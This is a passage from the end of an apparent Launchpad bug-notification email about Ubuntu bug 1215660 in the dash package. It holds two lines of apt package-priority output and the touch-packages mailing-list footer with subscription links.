600 my-apt-mirror ubuntu-precise/main amd64 Packages
100 /var/lib/dpkg/status
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dash/+bug/1215660/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help :
